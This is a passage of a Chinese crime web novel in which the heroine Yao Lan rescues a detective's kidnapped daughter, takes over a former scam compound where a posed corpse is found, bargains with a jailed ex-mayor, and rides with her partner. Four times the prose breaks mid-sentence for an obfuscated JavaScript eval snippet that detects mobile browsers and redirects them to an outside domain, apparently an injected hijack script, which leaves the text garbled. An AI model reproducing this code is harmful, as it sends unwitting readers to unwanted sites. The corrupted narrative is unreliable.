“你相信我的猜测。”李迈青说。 “起码这是你进门以后做过的最正确的判断。结果如何,待会儿就见分晓。” 这之后,每过一两分钟李迈青就看一次落地钟,只觉得每一分都是煎熬。 直到二十分钟过去,落地钟正好走到整点,发出低沉的撞击声。 与此同时,姚岚的手机里也出现了另一道铃声,短而促。 它很快就被按断,接着响起陌生男人的声音:“喂,嗯,知道了。” 李迈青直勾勾地看着姚岚,直到杨雄身边的男人开口:“姐,孩子找到了。” 简单六个字一下子止住李迈青忐忑的情绪,眼底升起了一簇若隐若现的光。 姚岚问:“活着吗?” “只是受了点伤。” 杨雄身体先是僵硬,随即像是虚脱了一样。 姚岚看向李迈青:“你都听到了。” 一声轻轻的喘息从李迈青口中发出,原本向前倾的身体也脱了力,紧绷的情绪完全溃泄,化为一阵阵冷汗自额头、后背流下。 “谢……谢……”李迈青吐出这两个字。 不过几秒钟,屏幕另一头的杨雄也发出无力的声音:“这就是个陷阱,都是她设计好的……你上当了,你居然相信她……孩子就是他们藏起来的,再把她送去朝华公寓……” 李迈青仿佛没听到,只是看向姚岚。 姚岚对上她乞求的目光,那里闪烁的希望始终是不确定的,似乎只要一句话,就能让其熄灭。 “拿出你的手机,给她拨个电话。” “可这里的信号已经……”李迈青想说,进来之前杨雄已经做过处理了。 姚岚却道:“早就恢复了。” 李迈青这才后知后觉地拿出手机,果然见到满格信号,遂抖着手指按下电话快捷键。 铃声响起,她吞咽着口水,盯着屏幕上的“真真”二字,甚至忘记了呼吸。 电话接通,对面响起稚嫩的声音:“妈妈!” 李迈青的眼泪再次涌出。 “真真……你,疼吗?” “不疼。”真真说,“妈妈,我想你了。” “妈妈也想你……” “妈妈,陈阿姨说,杨叔叔很快就会来接我去找你,对吗?” 正是这句话,彻底掐死李迈青心里残存的最后一点侥幸。 她闭上眼,声音哽咽:“对……” 直到电话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17514253|202844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 挂断,李迈青低垂着头,一边吸着鼻子一边擦去眼泪,似乎也在这一刻做完了所有心理建设。 屏幕另一头杨雄像是在自言自语:“阴谋,这是阴谋,你个蠢女人,这么好骗……” 李迈青吸了口气,轻声回应:“我只说那个女人叫阿芸,可没说她姓陈。到底是谁在骗我?” “……” 李迈青擦干眼泪,转向姚岚:“我要付出什么代价?” 既然姚岚救了她的女儿,她也该履行条件。 姚岚问:“你能给我什么?” 李迈青毫无头绪地摇头,她知道自己对姚岚来说不具有任何价值,可转念一想,又问:“你想让我杀了他?” 这个“他”指的自然是杨雄。 “你疯了!”一时词穷的杨雄突然喊了出来。 姚岚似有笑意:“这对我有什么好处?” 是啊,无论是她还是他,都入不了姚岚的眼睛,他们只是这个台风天的不速之客,一场小插曲。 他们的死活,于姚岚又有什么意义? “我……”李迈青再次陷入茫然。 只听姚岚问:“一个月前你都拍到了什么?” 李迈青晃了晃神,快速回道:“有人叫我跟踪本地华商许应达,我拍到许应达和他大嫂一起上了一个岛……那个岛是私人的,我有个客户跟我透露过,说那里藏着见不得人的东西。等许应达他们从岛上回来,就在停车场,我看到他大嫂给了他一箱东西,但我不知道是什么。” 听李迈青的描述角度和口吻,她应该还没有掌握核心,只是因为私家侦探的专业嗅觉,认识到这些关联的不同寻常。 许应达和大嫂之间一定有不可告人的秘密,可能是婚外情,或是别的。 不过直觉告诉李迈青,这个“秘密”和那座岛屿相比就是个赠品。 至于许应达这个人,麦城这个地方没有人不知道他,可以说是半个土皇帝。 “谁的委托?”姚岚问。 李迈青摇头:“我不知道,真的不知道……那个人只是塞了一笔钱到我的信箱,还发了匿名短信跟我提要求,叫我拿钱照办。” 姚岚若有所思地瞥了她一眼,伸出手:“手机和录音笔。” 李迈青立刻将这两件东西递了过去。 姚岚接过便站起身,走向一旁的柜子,拉开抽屉拿出一个盒子又折了回来:“以后你就用这部手机。离开这里,不要再做这行。” “你肯放了我?”李迈青接过盒子,看到里面的新手机,有些不敢相信。 “你对我还有用处么?”姚岚并不认真地回答,一边说一边在自己的手机上点了几下,“你女儿在家里等你。” “那他呢?”李迈青看向电视,正好看到一双手出现在屏幕里。 仍然是刚才的男人,他一手固定着杨雄的脖子,一手正拿着针管,针头刺入杨雄的颈部,针管里淡黄色的液体快速没入皮肤。 不一会儿,空气里响起“滋”的一声,玻璃外的铁板开始缓慢上升。 李迈青的腿已经麻了,脚还在发软,她扶着茶几费力地站起身,看向落地窗以及外面山雨欲来的天空。 身后的门开了,李迈青快速转身,看向空荡的门口,随即又看向重新拿起文件的姚岚,以及始终躺在地上的比他们更早一步闯入这里的陌生男人。 “还不走?”姚岚的视线落在文字上。 李迈青张了张嘴,发出“哦”的一声。 转身之前,她又一次扫过电视屏幕,看到的正是杨雄的身体被人拖拽走的画面。 李迈青什么都没有问,至于杨雄为什么要这么做,眼下不重要了,她只想尽快离开这里,见到女儿。 7. Chapter 6 Chapter6 李迈青离开了不到十分钟,有人走了进来。 原本处理杨雄戴的胶皮手套已经摘下,男人就站在姚岚身侧:“杨雄是要借刀杀人。一旦得手,警方介入,李迈青就是替死鬼。” 姚岚翻过一页文件:“异想天开。” “录音的来源我会尽快查。”他指的正是李迈青手里的那段。 只要查到录音是谁漏出去的,就能查到是谁委托了杨雄。 没想到姚岚却说:“不用了,录音是我放出去的。” 放这个饵,就是为了替东南亚此行铺开道路,起码眼前是谁想对付她已经一目了然。 男人有点意外,却没说话。 直到姚岚再次开口,眼尾扫向地上的人:“把他们俩打包,送给许应达。” “我知道了。” …… 三个月后,麦城出了一件大事。 于国内而言,这不过就是一则少有人关心的新闻,通篇文字再配上几张照片。 【涉案3亿,LL园区大佬许应达被引渡回国。】 听闻许应达手里有十几个园区,近百个电诈集团,散布在麦城周边。因涉案过广,性质过于恶劣,所以这次任务由麦城军方直接介入。 树倒猢狲散,许应达一倒,不仅园区被查,手下也纷纷落网,园区内上千名外籍人士被扣押。 老百姓听了觉得大快人心,而这则消息落在商人们耳中,却又是另外一种意思。 不说其他,就说麦城地界上的——那么一大块地方,总不可能只是查封置之不理吧?总要有新的人接手,用往新的用处。 还有许应达这个人,他知道得太多了,名下黑产不只服务本地,还囊括东南亚以及海外一些政商人士,太多人想要他“闭嘴”。 有人在眼馋,有人在担忧,麦城的暗涌就快要压不住了。 许应达被引渡后一个月,姚珹再次从大陆直飞麦城。 这天艳阳高照,一行人边说边笑地走进许应达在麦城建立的最大园区。 刚踏进主楼门口,姚岚的目光便透过墨镜落在白墙上那些中文字上:【天道酬勤】、【态度决定一切,细节决定成败,目标决定方向,行动决定未来】、【上善若水】等等。 旁边的解说正说到,这片园区将近80万平方米,不止有呼叫设施、医院、公寓、餐厅、娱乐场所设施齐全,还分了“中国盘”、“欧美盘”、“东南亚盘”等等。 说真的,本国还富商没有人能吃下来这么一大块地方,所以绕了一圈最后还得在大陆华商圈择选。 只是谁都想不到事情会定得这么快,也不知道中选者给了什么好处,又开出怎样吸引人的条件,只知道如今这座园区要改姓姚了。 事实上不只是这里,就连园区外的几家发电厂,都在过去半年里相继易主。 这几年大陆比较热门的风水话题就是“九紫离火”,连老百姓都知道艮土运已经结束,与“土”相关的产业也相继微缩,却少有人提艮土南移。 往前数三年,姚家便在东南亚大片的买楼买地,表面上看是为了炒地皮,现在看来却没有那么简单。 只有极少数人本地政商知道,针对许应达的清剿黑产行动,姚家在背后可是出了不少力。他的保护伞,也就是麦城的前任华人市长,也因为一系列恶性犯罪被判终身监禁。而黑产土崩瓦解给当地带来的经济损失,将会通过未来科技产业投资的形式相继填补。 就在姚岚踏进园区的这天,电视和网络上也连着推送了几条新闻,不只提到“一带一路”,还将话题延伸至“中国标准赋能数字丝路”、“东盟数字基础设施枢纽”、“数字本地化法规”等字眼。 而曾经的“屠宰场”也将摇身一变,成为数字科技产业园。 负责领队解说的工作人员还在前面口沫横飞,向一行人介绍园区的区域分布和配套设施,却没有注意到姚岚不知何时离开了人群,走向一旁的窗户前。 下一秒,一个高个子男人在姚岚身边站定,他身着休闲软料西装,高了姚岚半个头,先是环顾四周,又看向窗外的远处建筑物,最后才将目光落在姚岚看向的地方。 那是一栋有些陈旧的小楼,只有三层高,和周围几栋楼显得格格不入,样式风格都像是上个世纪末的产物。 “还记得那里吗?”姚岚轻声开口。 “嗯。”肖越一手始终藏在西装外套里,锐利的目光掠过建筑物,“就是在这里,第一次见到姚小姐。” 姚岚的视线逐渐向上抬,先是看向三楼的开放阳台,又缓慢往下移动:“你还记得从上面扔下来的那两个女孩是几号吗?” 耳边仿佛传来“咚”的一声闷响,那是人体砸进水泥地的声音。 其中一个女孩的四肢都折了,也不知道是死之前被人折断的,还是摔下来导致的。 她睁着眼睛,从眼角、嘴角淌出血水,身躯趴在水坑里,四肢诡异地向后弯。 直到现在,似乎还能听到那个深夜的雨声,鼻子里塞满了腥味儿。 “记得。是五号、八号。”肖越回答。 姚岚从记忆中回过神,吸了口气,声音依然很低:“许应达来不及销毁的资料全都查过了,二十到三十岁之间姓魏的女人有三十七个,但都不是她。” 肖越没接话。 姚岚离开窗边,继续往前走:“也许不是许应达的人干的,也许是当时就转移到其他地方了,总之你要有耐心。” “我知道……她早就不在了,只是想知道她最后死在哪儿。” 两人的步子比其他人晚了一步,快走出建筑物门口时,只能瞧见前面一行人的背影。 那群人已经走到一片树荫里,趁着等观光车的功夫,解说员指着远处的一片楼介绍接下来的安排。 肖越撑着太阳伞,和姚岚缓慢的步调一致,可两人还没走到跟前,就见到人群中出现了一阵骚动。 有人尖叫着,还有人往阳光下跑,很快就乱成一团。 直到大多数人都逃离树荫,从人群中快速跑过来一个工作人员,气喘吁吁地对姚岚说:“姚总,您还是别过去了。” 姚岚的视线越过来人的肩膀,往后面瞥了一眼,心里已经猜到一些,问:“是人还是动物?” 过去数年,不知道有多少“受害人”在这里蒸发。 可就算脏器被掏干净了,尸体也总需要一个去处,有的烧掉,有的扔到河里或荒郊野岭,还有的就地挖坑埋了。 事实上园区被查封之后,部队就进来清理过,也有园区内部的人“带路”,就在园区后面的空地下挖出来数具白骨。 而前方的树荫下位置比较靠近大路,地方不算大,位置也比较显眼,按理 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17519526|202844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说不该在这里埋尸,埋个小动物的尸体倒有可能。 可如果是埋尸,又怎么会暴露在外面? 没想到工作人员却说:“是人,而且好像……刚死不久。” 刚死不久? 姚岚闻言先是挑了下眉,遂直接绕过对方走向树荫。 肖越立刻跟上。 两人径直穿过人群走到树荫下,接着就闻到一股怪味儿,却不是腐烂的味道,反而更像是某种化学物。 眼下除了姚岚和肖越,就只有随行的采访记者和摄影师没有躲开,而此时的镜头正对着前面不远处的水沟。 那是一道人工挖掘却只修了一半的排水渠,两侧还有许多石砖没有砌上,露出水沟里的泥土,材料就堆放在另一边。 姚岚没有理会记者和摄影师,在水沟边蹲下。 只见里面斜靠着一具女性尸体,深色的衣裙干净整齐地贴在身上,中长发拨向一边垂在胸前。 女人双目紧闭,表情很平静,就像是睡着了,唯独落在身侧的两只手有些不自然。 这情形当然不会是园区之前的人做的,而是新的案子,新的凶手。 这边,女尸的模样已经被摄像机记录下来,记者则在一旁小心翼翼,像是想说点什么。 直到肖越低声交代记者:“设备留下,今天的事儿谁都不要说出去。” 随即肖越就往高处看,见有个探头正对着这里,便拿出手机拨了通电话:“C区东南角,去监控室查查这里出过什么事。” 不一会儿,就有人回:“越哥,我刚问过了。军队查封以后,监控室就给锁了。后来听说姚小姐要来,前两天就将监控都关了。” 关了? “谁的决定?” “就是这里的临时看管人,说是为了保护姚小姐隐私。” 所有人都知道,园区内的犯罪证据有很多都写在监控里,而且是360°没有死角,连埋尸的画面都是高清的。 而临时看管人和留在这里负责打扫卫生的本地人,还以为新老板也是干同样的勾当,就打算自作主张之后再来来邀功。 “自作聪明。”肖越落下四个字,转而看向姚岚,“监控没了。” 姚岚已经站起身,缓步来到树荫的边界线,眯着眼看着远处一栋栋被阳光照的通体发亮的建筑物。 过了几秒钟,像是已经过完所有思路,她才开口:“是冲我来的。” 似乎也不意外。 不知过了多久,直到工作人员将其他人带离现场,只剩下记者和摄影师。 姚岚轻轻吁出一口气:“先报警吧。” 肖越应道:“是。” 姚岚侧过身,扫向站在一旁面面相觑的记者和摄影师,又道:“既然要拍,就得拍全,注意保护现场。” 两人惊讶地看过来,一时不知道如何反应。 “你们可以拷贝,但母本要给肖越。” “好,没问题!”记者快速回答,又迫不及待地问,“那专访……” “改成案发现场独家。”姚岚边说边用眼神示意肖越,“后续跟踪报道,和这个人联系。” 就见肖越已经拿出纸笔,快速写下一个号码,递给记者。 记者看了看号码,似乎还想说点什么,姚岚却已经转过身,走向刚开到跟前的黑色轿车。 “去监狱。” 8. Chapter 7 Chapter7 此后一路,姚岚脑海中始终盘桓着刚才那一幕。 车子在高速路上和警车擦肩而过,警笛声由近至远,随即听到坐在副驾驶座的肖越说:“园区不是第一案现场。凶手的表现欲很重,如果这次警方抓不到人,可能还会有下一次。” 姚岚看着车窗外,隔了几秒才低声下结论:“是他。” 谁? 只负责开车始终不曾言语的司机的刘寻,忍不住用余光扫向后照镜。 听这意思,园区里不只是死了人,而且姚岚已经猜到凶手的身份,肖越似乎也知道她的指向,并不意外,否则就该问一句“是谁”。 不过刘寻是个话不多的人,也懂得“左耳进右耳出”的处事道理,不该记住的听过就忘,不该问的一个字都不会吐。 肖越问:“要不要更改接下来的行程?” 这显然是为了姚岚的安全考虑,毕竟在过去三年间,姚岚每次往返麦城都会引来几波宵小之徒。 而这次好巧不巧,偏偏在姚岚视察园区前多了一具尸体,又那么巧监控室提前关了,凶手还将尸体特意摆好姿势给人“欣赏”,这说明凶手不只清楚姚岚的行程,或许还和负责看管和打扫园区的工作人员有来往,甚至是混迹其中。 不过以姚家和本地政要的交情来说,这里的警察一定会受到上面的压力,要求尽快破案,下一步应该就会仔细盘查园区内工作人员的底细,特别是临时工和突然辞职的员工。 “不用。”姚岚却说,“尸体处理之后,你亲自去找王探长,除了搞清楚死者身份,再拿一份死因报告和样本。样本送回国找第三方再做一次鉴定。” “明白。”肖越透过后照镜看向姚岚的侧脸,像是在等待什么。 直到姚岚再度开口:“既然他要作秀,就不能以常规的杀人动机来分析,而是看手法。” 而与此同时,被允许留在园区现场的记者,正对着摄影机口述现场情况。她身后十几步远的地方已经被麦城警方拉上警戒线,警察和法医正在现场勘察。 【经警方透露,本案的凶手很可能有反社会倾向,对于社会有一定的报复心理,借由这种极端手段来博得社会关注。这或许将会成为警方接下来案件调查的主要方向。】 …… 一个小时后,姚岚在阴凉的监狱会客室里落座,她微笑着看向防弹玻璃另一边的中年女人。 中年女人同样在笑,而且因为经年累月地做同一副伪善表情,已经形成肌肉记忆刻在骨子里,让人分不出来她是真笑还是假笑。 而这样的一张脸,过去三个月曾持续不断地出现在麦城的电视新闻和网络媒体上——她就是被判终身监禁的前市长许立荣。 “我不知道你想从我这里得到什么,我只能告诉你,该讲的我都在法庭上讲完了。不该讲的,就算要讲,也不会讲给你听。”许立荣率先开口,“同样的道理,许应达也不会将‘鸡蛋’放在一个篮子里,否则他等不到引渡,早就死在监狱里了。” 中国大陆会用法律手段来公平地审判许应达,可这世界上总有一些躲在阴暗角落里想要许应达“闭嘴”的鼠辈。 暗箭难防,姚岚来麦城开荒这三年就深有体会,哪怕带足了钱、人,疏通了当地所有关卡,明枪暗箭依然一波接着一波。 这里不是中国大陆,有些文明渗透不进来,各路地头蛇早就习惯了野蛮那一套,管你背后是谁,你就是个外来的,穷人就是“猪猡”,富人就是“待宰羔羊”。 这就是为什么这里从底层爬上来的华人,到最后都会变成吃人不吐骨头的“恶魔”,而他们的进阶之路也只有那一种手段——你不吃人,人就吃你。 当然,上位之后,不管黑产还要不要继续,表面上都需要包一层“文明”的皮洗白。 而许应达的那层皮,就是堂姐许立荣。 “许应达的园区早就采取科技化手段,九成以上的数据录入电脑。虽然在被捕之前他让人将数据销毁,但经过国内技术的还原,基本上都找回了。”姚岚慢条斯理地陈述道,“这些数据涉及的罪刑,他死十次都不够赔。就算他愿意戴罪立功,供出其他地域的黑产主谋,也不够减刑……” 许立荣对许应达在大陆的处境和司法流程进行到哪一步并不清楚,这还是几个月以来第一次有人将消息带给她。 许立荣看上去满不在乎,却早就竖起耳朵,生怕漏听一个字,更恨不得扩展成千字论文逐一分析姚岚的潜台词。 然而许立荣到底是想错了,姚岚不是来打哑谜的,也没时间和她东拉西扯,很快便步入正题:“可你就不一样了。这里没有死刑,终身监禁的人即便再十恶不赦,也有减刑和提前释放的先例。这里的法律你比我清楚,应该知道我不是无的放矢。” 显然,姚岚是来做交易的。 自从进来以后,许立荣就已经不抱幻想,这二十年她和许应达互为“倚仗”,一个代表权力,一个象征金钱。 当然她身后还有“靠山”,可是一朝事发,如今的外交局势已经不容那些“靠山”继续装聋作哑,黑产势必要解散,一定要有人抗下所有,何况她和许应达本就是整个利益链的主谋。 至于过去向上输送的好处,他们一个字都不能吐,必须烂在肚子里。 但话说回来,许立荣并不相信姚岚的手能伸得这么长——这案子闹得这么大,所有人都避之唯恐不及,一个外来的小丫头哪来的底气? “哼。”许立荣冷笑一声,靠着椅背一副高高在上的嘴脸,“我要真信你的话,跟你做交换,就看不到明天早上的太阳了。” 姚岚依然很淡定:“你涉及的恶性犯罪,已经定性的包括绑架、诈骗和非法囚禁,好在至今没有一条谋杀罪能证明和你有关。你这种程度斡旋的余地还是很大的,只不过碍于你过去的身份和如今媒体炒作的能力,你的案子一时半会儿都会处在风口浪尖。但这种热度不可能一直持续,只要上面和公众的视线转移,过不了几年是有机会的。哦对了,王议员的儿子你还记得吗?” 听到“王议员”三个字,许立荣的笑容消失了,眉头中间的川字纹也逐渐清晰。 如果说之前还有点轻视姚岚,如今倒多了几分警惕。 “什么议员的儿子,还姓王,我怎么一点印象都没有?”许立荣装傻道。 “五年前,因六项一级谋杀罪入狱,不到一年就飞往新加坡,如今还担任三家美容科技公司的总裁。” 许立荣不说话了,却忍不住在心里猜测姚岚是哪来的消息?如果只是道听途说,她绝对不敢当面说出来,还这么笃定。 姚岚继续道:“既然那时候你有办法把人办出来,那么只要等上几年,同样有人可以将你平安送出麦城。” 这话落地,探监室好一会儿没人说话。 直到许立荣质疑道:“就凭你一句话,就想从我这里套走消息?” 她当然不相信姚岚有这个本事,却又不敢不信,因为这是她最后的“希望”,也是这么长时间以来,唯一一个递进来“救命稻草”,而不是要挟、恐吓的人。 “许应达干什么都会留一手,他们拿走的那些数据,关系到的不过都是蝼蚁、牛马的命。真正掐住命脉的大头,他都单独收着。他死了,这个秘密也会蒸发。但到现在都没有人动手,你知道是为什么吗?” 姚岚露出笑容:“得‘号令’者可得天下。这句武侠小说里才有的台词,我一直都觉得很中二,不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17521875|202844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过放到现在,倒也应景。” “你倒是聪明。”许立荣问,“可你凭什么证明你就是那个幸运儿?压不住,就算拿到了,也会变成催命符。不仅得有手段,你还得有那个命。瞧瞧现在的许应达,他的八字可是麦城最顶尖的阿赞批过的,注定会发百年难见的横财。可就因为他知道了太多不该知道的事儿,八字再硬也扛不过去。” 说到这里,许立荣的脸色都变了,显然她曾经坚信过许应达的命格,也确实因此吃到了“红利”,而后来也终于见识到了什么是天意。 “你们这里的人怎么都神神叨叨的。”姚岚轻笑一声,遂话锋一转,眼神里也多了几分锐利,“我今天只是道明来意,根本没想过从你这里得到什么。就算你现在愿意告诉我,我也不会信,咱们来日方长。不过为表诚意,我可以先给你透个消息。” 许立荣没有问,却下意识屏住呼吸。 也不知道为什么,她有一种不好的预感,事实上从姚岚会见开始,她的心里就时不时漏跳一拍。 许立荣盯着姚岚的唇,只见它一开一合地吐出一句话:“你最小的儿子,上个月在看守所与人斗殴,当场暴毙。” “什……”许立荣的脑子有几秒钟的空白,“不可能……你撒谎!” 姚岚的语速并不快,每一个字都足以让许立荣听清:“我知道,你前几天还得到他在看守所受到特别照顾的消息。由于你将所有罪名都承担下来,你的家人大部分都没有获罪,特别是你这个小儿子,去年才留学回来,根本就没有参与过家族黑产。如今有人要对你的过往罪刑追责,按理说不该牵扯到他,只是走个过场,很快就能出去。可惜,有人要斩草除根,也有人不敢赌那个‘万一’——他是你最喜欢的儿子,万一他真知道点什么呢?斩草不除根春风吹又生,古往今来皆是如此。” 淡红色的嘴唇,咬字清晰地吐出要人命的话语。 许立荣的脸也逐渐褪成和身后墙壁一样的颜色。 直到姚岚话落,她不紧不慢地站起身,又道:“我相信就算是在这里,你也有办法求证我的消息是不是真的。等我下次来,你再告诉我要不要合作,需要我保住谁的命——希望他们能坚持到那个时候。” “等等!”许立荣立刻叫道。 见姚岚转身看她,她快速站起身,上身贴向玻璃,透过听筒说:“我大女儿还在法国,不要让她回来!” 姚岚却没有丝毫表情变化,空旷的眼神没有半点波动,只余下一片漆黑。 “只要你能做到,他的秘密我有办法帮你拿到。但我需要时间,也需要证明你没有骗我!” 我有办法帮你拿到? 姚岚品了品许立荣的话,知道这件事绝不会太过顺利,其中也必然会有几个迂回的过程,但这已经是捷径了。 “等我消息。”姚岚无声地吐出四个字。 许立荣读到了,对上她的眼睛,同时心里也蹿出一股冲动:“我见过很多亡命之徒,是什么属性只要对一个眼神就知道。沾过人命的手,眼神会不一样,更像肉食动物,眼睛里全是欲望和杀戮。而真正冷血的人,既没有牵绊,也没有情感,更没有爱恨情仇。你这种眼神,我以前见过一次……我一辈子都忘不掉。” 许立荣有一瞬间的恍惚,也不知道是不是想到了她话里的那个人,随即点了点头,像是为了确认什么似的:“也许你真能帮我……我等你。” 直到她轻轻落下最后三个字,再度坐了下去。 姚岚也收回目光,一言不发地走出探监室。 探监室外,肖越等候已久。 见到姚岚便第一时间迎上来,先对守在门口的警卫点了下头,遂走在姚岚身侧,声音不高不低:“倪先生来了。” 9. Chapter 8 Chapter8 大门外,阳光洒满每一个角落,驱散了监狱里的阴霾与死气。 门口除了姚岚的车,还停着一辆银灰色商务车。见姚岚出来,车门从里面拉开,一个身着休闲便服的男人探下一条腿踩在地上,身体微微倾向她这边。 顺着他浅色的衬衫往上看去,是一张明朗的笑脸,浅麦色的皮肤,微弯的卧蚕衬着一双含笑的眼睛。 “你怎么过来了?”姚岚也漾出笑容,似乎对倪泽熙为何知晓她的行程安排并不好奇。 倪泽熙握住姚岚的手,一边送她上自己的车,一边笑着提醒:“我就知道你忘了,今天是星期三。” 姚岚明显一怔,敲了敲自己的头:“瞧我这记性。” 【从今天开始,每个月的最后一个星期三,你都是我的。最起码要陪我吃一顿饭。】 这是两人曾经定下的约定,但两人都忙,很多时候都未必在一个城市,一周一次的饭约实在不现实,后来就改成了每个月的最后一个星期三。 肖越不动声色地坐进副驾驶座,没有问姚岚是否要更改接下来的行程,只听后座的倪泽熙问:“饭还吃吗?” “当然,人总要吃饭的。”姚岚笑道,“哪家餐厅?” “菜都备好了,回家做。”倪泽熙说。 姚岚有丝意外:“最近不忙吗?” “上个项目已经搞定了,我给自己放了三天假。”倪泽熙姿态松弛,正如他这身装束,无论是什么姿势,这身软料都不会变形褶皱。 “可我……”姚岚沉吟了两秒,像是快速过了一遍这几天的安排——全满。 “你忙你的,不用管我。”倪泽熙没有让她为难,“忙完了就给我电话,我来找你。” 姚岚只笑着点了下头,将右手放进倪泽熙向上摊开的手掌中。 他五指收拢,一边摩挲着她的指肚和光泽温润的浅色指甲,问:“怎么突然想起去监狱了?” “哦,有个事情想跟前市长讨教。虽然我这几年频繁麦城,但到底根基不深,哪怕有你在,也还是会被欺生,多向前辈取取经一下总是没错的。” 倪泽熙接道:“可她现在是泥菩萨过江,能给的也是过期经验,意义不大。” “除非那些她曾结交的人脉,全都性情大变,否则那些经验依然适用。” 倪泽熙没接话,像是被说服了。 姚岚扫过他的侧脸,并不打算提之前在园区发生的“小插曲”,只问:“家里都好吗?” 倪泽熙说:“有阵子没回去了,应该都好。” 随即他又看过来,将姚岚的手握得更紧:“你呢?” “老样子,明枪暗箭、见招拆招。” 倪泽熙扬了扬眉:“我听说之前你大哥受了点惊吓,现在还在国外休养?” “他这人一向学不会低调,有点风吹草动恨不得告诉全世界。”姚岚接道,“其实也不是什么大事儿,前几年不是经历过一次意外吗,后来就杯弓蛇影的,看谁都像鬼。正好前段时间又出了一件事,给他吓着了……你也知道,他那一肚子的肾,经不起折腾。” “肾主志,的确。”倪泽熙话锋一转,“没为难你吧?” 姚岚轻笑:“怎么可能不为难,不过我都习惯了。” 倪泽熙叹了一声:“按理说你应该是最希望他健康长寿的,这样你的麻烦也会少一些,会更有时间处理这边的事儿。” “要是那个人就心存偏见,不跟你讲道理呢?说穿了,谁手里的权力多,谁的道理就硬。” 倪泽熙轻呼一口气,垂着眼眸并不接话。 姚岚又将话题抛回去:“别光说我了,你弟弟呢?” 倪泽熙说:“哦,之前说想再去进修了一个哲学学位。” “哲学。”姚岚说,“艺术品不做了?” “那边也没放下,只说是因为艺术对哲学也产生了好奇心。” “哦。” 倪泽熙扬起笑容:“我记得十几岁那会儿咱们认识,你就说过将来要开连锁画廊,要做亚洲最大的艺术品拍卖行,因为只有艺术才能走到人的心里,探究人性最深层的挣扎,释放最深沉的欲望。而金钱永远是隔靴搔痒。” “那时候还小,不懂事,想法也天真。”姚岚说。 “可我记得你家里一直都是支持的……” 倪泽熙的话只说了一半,后半句即便不说姚岚也知道是什么意思。 孩子的梦想往往受到家庭的潜意识影响,如果不是家里有意培养和支持,十几岁的她根本说不出来那么具体的“抱负”。 有人说“我喜欢画画”,却说不出来要走什么样的路,才能有效地将这份“喜欢”一直延续下去。 如果兴趣爱好成为了负担、累赘,缺乏规划,那么最终就会变成“曾经喜欢过”,进而成为一种遗憾。 事实上姚岚的求学经历直到大学以前都是哲学和艺术向,即便发生变动,即便通过这两个跳板对其他领域产生兴趣,最多也就是跳到心理学层面,而非现在的经商,甚至是直接介入家族生意,掌握一定的话语权。 显然在最初的配置中,姚岚的分工并不是家族接班人、托举者。如果是,就该从小培养,绝不会生出对艺术产生兴趣的可能性。 那时候姚岚的玩伴也都是其他家族里的同样角色,而他们现在有的在做珠宝品牌,有的做艺术品收藏,还有的作为备选人培养,就像是比赛场外休息区的候补——也许永远没有上场的机会,却时刻都要做好准备。 唯独是姚岚的成长路,在其中的关键节点上出了岔子。 至于是什么岔子,连倪泽熙都不知道。 “对了,有个事忘记和你说了……”姚岚十分自然地切换话题,笑容没有丝毫破绽。 “什么?”倪泽熙刚开口,不想就在这时,车子猛然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17524065|202844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刹停。 两人的身体同时向前倾了一瞬,两只手握得更紧,随即不约而同地朝前面看去。 司机先一步下车,副驾驶座的肖越也解开了安全带,一手伸向外套内侧,眼神扫向车头。 有个人摔倒在车前,也不知道有没有被轱辘碾到。幸好这是在市区,车子刚过一个拐角,车速不算快,即便被撞到也不至于飞出去。 只见司机站在车前,正在和伤者对话,还要伸手去扶,可对方的注意力似乎在别处,好一会儿都没起身。 接着就看到司机也蹲下去,坐在后座的姚岚与倪泽熙,碍于视野什么都瞧不见。 直到倪泽熙松了手,说:“我下去看看。” 见倪泽熙下了车,副驾驶座的肖越才开口:“是个女人,文件撒了一地。” “是故意的,还是真没看路?” 肖越说:“过马路的时候她正用蓝牙耳机讲电话,眼睛没看路,手里翻着文件,好像很赶时间。” 姚岚没接话,透过车窗看向前方,正好看到倪泽熙站在车头,目光就落在女人身上,像是正在关心她有没有受伤,需不需要赔偿。 